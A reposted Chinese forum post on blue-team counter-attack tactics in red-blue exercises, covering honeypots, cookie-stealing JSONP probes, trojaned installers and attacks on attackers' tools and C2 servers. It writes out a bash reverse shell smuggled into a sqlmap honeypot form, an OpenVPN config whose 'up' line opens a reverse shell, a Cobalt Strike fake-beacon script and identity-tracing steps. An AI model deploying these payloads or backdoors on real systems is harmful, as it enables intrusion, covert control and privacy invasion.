本帖最后由 gclome 于 2021-3-4 21:17 编辑
原文链接:【HW前知识库储备】红蓝对抗-反制
一、前言
初次接触反制技术,写一个文档作为记录。
二、反制中常见技术点
1.蜜罐
蜜罐可以理解成互联网上的一台主机,它的作用是诱骗攻击者去对自己进行攻击,然后记录攻击者的攻击细节并生成对应的攻击者画像,是当前的一种比较主流的入侵检测系统也是一种主动防御系统。
1.1 放置高交互蜜罐
放置高交互蜜罐,例如一个邮箱服务类型的蜜罐,攻击者有可能会进行邮箱注册,这样子攻击者就主动向我们留下了自己的身份信息。
1.2 放置多个容易被发现的蜜罐
放置多个攻击者可以轻而易举发现的蜜罐,攻击者就会知道自己所在的环境是被蜜罐所包围的,有可能就会放弃进行大范围攻击,变相保护了蜜罐背后的真实核心系统。
1.3 在蜜罐中使用JSONP探针
蜜罐中设置一个网页,网页中写入指定的代码。当攻击者访问指定网页的时候,就会窃取攻击者的cookie并上传到服务器上,被窃取的cookie是可以被指定的,例如可以窃取攻击者登陆百度的cookie,登陆豆瓣的cookie等,可以通过此来得到攻击者画像,获取黑客的ip地址,分别通过webrtc与淘宝接口。但是在最新版的浏览器中,webrtc因为隐私问题,已经被浏览器禁止通过该接口获取用户ip。淘宝接口从浏览器端调用该接口的话,获取的ip准确度较高。
条件:
- 攻击者登陆过社交媒体并且未退出账号
- 拥有相关媒体的jsonp接口
参考文章:
利用社交账号精准溯源的蜜罐技术
利用webrtc获取真实ip
JSONP探针
1.4 蜜罐挂马
留几个文件下载链接,例如vpn客户端,并对正常程序进行木马植入。或者制作恶意的excel文档诱导其进行下载。
蜜罐中放置恶意安装包,参考文章DLL劫持+重新制作安装包在钓鱼与反钓鱼的利用
2.信息干扰
红队攻击前都会进行信息收集,一般都是通过天眼查,github,gitlab等,我们可以在github上放置恶意exp或者无效等源代码,可以拖延红队的攻击实现,甚至实现反制(如果红队运行了我们的恶意exp的话),然后通过网络故意透露我们的蜜罐信息,诱导红队去攻击蜜罐,进而得到黑客画像。
3.反击思路
3.1 反制钓鱼页面
直接对钓鱼页面进行web渗透攻击,尝试直接控制。攻防演戏开始前期,红队成员肯定会用许多肉鸡去对目标资产进行批量漏洞扫描,或者自己使用肉鸡生成钓鱼页面等,这些肉鸡基本都含有漏洞,这时候去反击成功率会比较高。
3.2 反制钓鱼邮件- 对附件进行逆向分析,得到C2地址,然后对目标ip进行渗透攻击。
通过邮箱求手机号码可见:已知邮箱,求手机号码?
有一个网站可以查询利用目标邮箱注册过的网站:查找邮箱注册过的网站 - 发现钓鱼邮件后,将钓鱼邮件放在我们提前配置好的蜜罐中执行,在蜜罐中放上恶意的加入木马的vpn安装包与密码本,等待攻击者下载并连接。
3.3 反制攻击工具
倘若对方使用带有漏洞版本的攻击工具例如蚁剑、AWVS等,这时候可以使用RCE攻击对其进行反控,高版本蚁剑上此漏洞已经被修复。
已知有漏洞的工具版本:
- 参考文章:
- 论如何反击用AWVS的黑客
- 如何优雅的反击扫描你网站的黑客
复制代码
- cs 3.5
只有3.5及以下版本可能被利用,且无直接可用exp,参考文章Cobalt Strike team服务被爆RCE漏洞,尽快升级最新版!。 - sqlmap
构造特殊的get或者post注入点来等待攻击者使用sqlmap扫描,例如下图,将get请求中的一个参数的值设置为`ls`l,倘若直接改成反弹shell的代码即可反控对方机器。 -
- post方式的利用:
页面代码:
- <html>
- <head>
- <title> A sqlmap honeypot demo</title>
- </head>
- <body>
- <input>search the user</input>
- <form id="myForm" action="username.html" method="post" enctype="text/plain">
- <input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
- <input type="button"οnclick="myForm.submit()" value="Submit">
- </form>
- </body>
- </html>
复制代码
- burp截图:
如果红队成员不仔细看post数据,就有可能直接复制黏贴这个包放在sqlmap里面跑,这样子就会被蓝队控制。
参考文章:注意了,使用sqlmap的你可能踩中了蜜罐
5. msf v=Metasploit 4.12.0-2016061501 to 4.12.0-2016083001
msf中直接有利用脚本,路径为exploit/multi/http/metasploit_static_secret_key_base。
可以在shodan上直接搜索互联网侧的msf:title:"metasploit is initializing"
参考文章:Metasploit 反序列化漏洞
- 浅谈蚁剑RCE
- 嵌入式浏览器安全杂谈-electron框架
- 中国蚁剑源码分析
- 论如何反击用AWVS的黑客
- 使用各种扫描工具的你,不但踩了“蜜罐”可能还要被团灭了
复制代码
我们遇见了XSS盲打攻击时,可以选择将虚假信息回传给XSS平台并反制攻击者。具体实现:
3.5 利用winrar漏洞
条件:安装winrar软件
实现的效果:攻击者下载我们制作好的恶意rar文件,在自己电脑上利用winrar解压后,就会将我们事先指定的exe文件解压到当前用户的开机启动文件夹下,等机器重启的时候就会运行我们事先安排的exe文件。
利用:https://github.com/WyAtu/CVE-2018-20250
3.6 利用openvpn客户端配置文件后门进行反制我们可以在服务器上留下一个openvpn客户端的后门文件,里面的部分内容如下:
- remote 192.168.31.137
- ifconfig 10.200.0.2 10.200.0.1
- dev tun
- script-security 2
- up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.31.138/9090 0<&1 2>&1&'"
复制代码
我们可以先做一个蜜罐,比如说蜜罐就是192.168.31.137,且这个ip可以被攻击者反问到。在蜜罐上面只配置openvpn服务,然后将上面的openvpn客户端文件放在另一台主机上,最好是台windows主机且无法执行openvpn命令,这样子攻击者就不得不下载这个配置文件进行利用。
当攻击者下载openvpn配置文件到本地进行sudo openvpn example.ovpn后,就会执行我们事先写入的反弹shell的命令,进而达到反控的效果。
参考文章:
从OpenVPN配置文件中创建反弹Shell实现用户系统控制 对某攻击队的Webshell进行分析
3.7 反制coablt strike
1.反制钓鱼
在隔离网段机器上批量启动钓鱼文件,DDOS红队的Teamserver,利用脚本。
参考文章:蓝色吃定红色-爆破CS Teamserver 密码
2.爆破CS密码
一般情况下CS都会设置在50050端口,且密码相对都会比较简单,我们可以使用脚本去破解其密码直接连接其服务端然后进行其他操作。爆破脚本:脚本下载地址
3.假上线
只发送心跳包,让CS以为我们已经上线,这时候攻击者只会看到上线信息但无法执行任何命令。
利用代码: - import re
- import time
- import requests
- def heartbeat():
- url = "http://192.168.186.133:333/activity"
- headers = {
- 'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
- 'Host': '192.168.186.133:333',
- 'Accept': '*/*',
- 'Connection': 'Keep-Alive',
- 'Cache-Control': 'no-cache',
- 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
- }
- resp = requests.get(url=url,headers=headers)
- text = resp.content.hex()
- return text
- x = True
- while x:
- text = heartbeat()
- lengs = len(text)
- # print(lengs, " ", text)
- if '2f4320' in text and '000041' in text:
- print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
- commeds = re.findall(r'2f4320(.*?)000041', text)
- for comm in commeds:
- commed = bytes.fromhex(comm).decode('utf-8')
- print(commed)
- time.sleep(5)
复制代码
3.8反制dnslog与httplog三、溯源1. 溯源目标模版:- 姓名/ID:
- 攻击IP:
- 地理位置:
- QQ:
- IP地址所属公司:
- IP地址关联域名:
- 邮箱:
- 手机号:
- 微信/微博/src/id证明:
- 人物照片:
- 跳板机(可选):
- 关联攻击事件:
复制代码
2. 溯源思路登陆受害机器进行信息收集
如果是linux可以查看命令执行历史与其他相关日志文件。
如果是windows可以查询ID == 4625审核失败的日志,后续通过对时间的排查、以及源IP地址、类型与请求的频率进行分析来判断是否是来源于内网的暴力破解,通过对logontype的数值确认就可以确认到底是通过什么协议进行暴力破解成功的。相对的数值关系: - local WINDOWS_RDP_INTERACTIVE = “2”
- local WINDOWS_RDP_UNLOCK = “7”
- local WINDOWS_RDP_REMOTEINTERACTIVE = “10”
- local WINDOWS_SMB_NETWORK = “3”
复制代码 针对IP或者域名通过公网已有的开放信息进行查询
https://x.threatbook.cn/ https://ti.qianxin.com/ https://ti.360.cn/ https://www.venuseye.com.cn/ https://community.riskiq.com/
四、参考文章从OpenVPN配置文件中创建反弹Shell实现用户系统控制
对某攻击队的Webshell进行分析
利用winrar漏洞
看蓝队如何干翻你,浅谈蓝队反制手段!
浅谈蚁剑RCE
嵌入式浏览器安全杂谈-electron框架
中国蚁剑源码分析
论如何反击用AWVS的黑客
JSON探针
蓝队实战溯源反制手册分享
攻防演练中防守方的骚姿势
看我如何模拟Cobalt Strike上线欺骗入侵者
利用webrtc获取真实ip
JSONP探针
原创作者:Shanfenglan7
|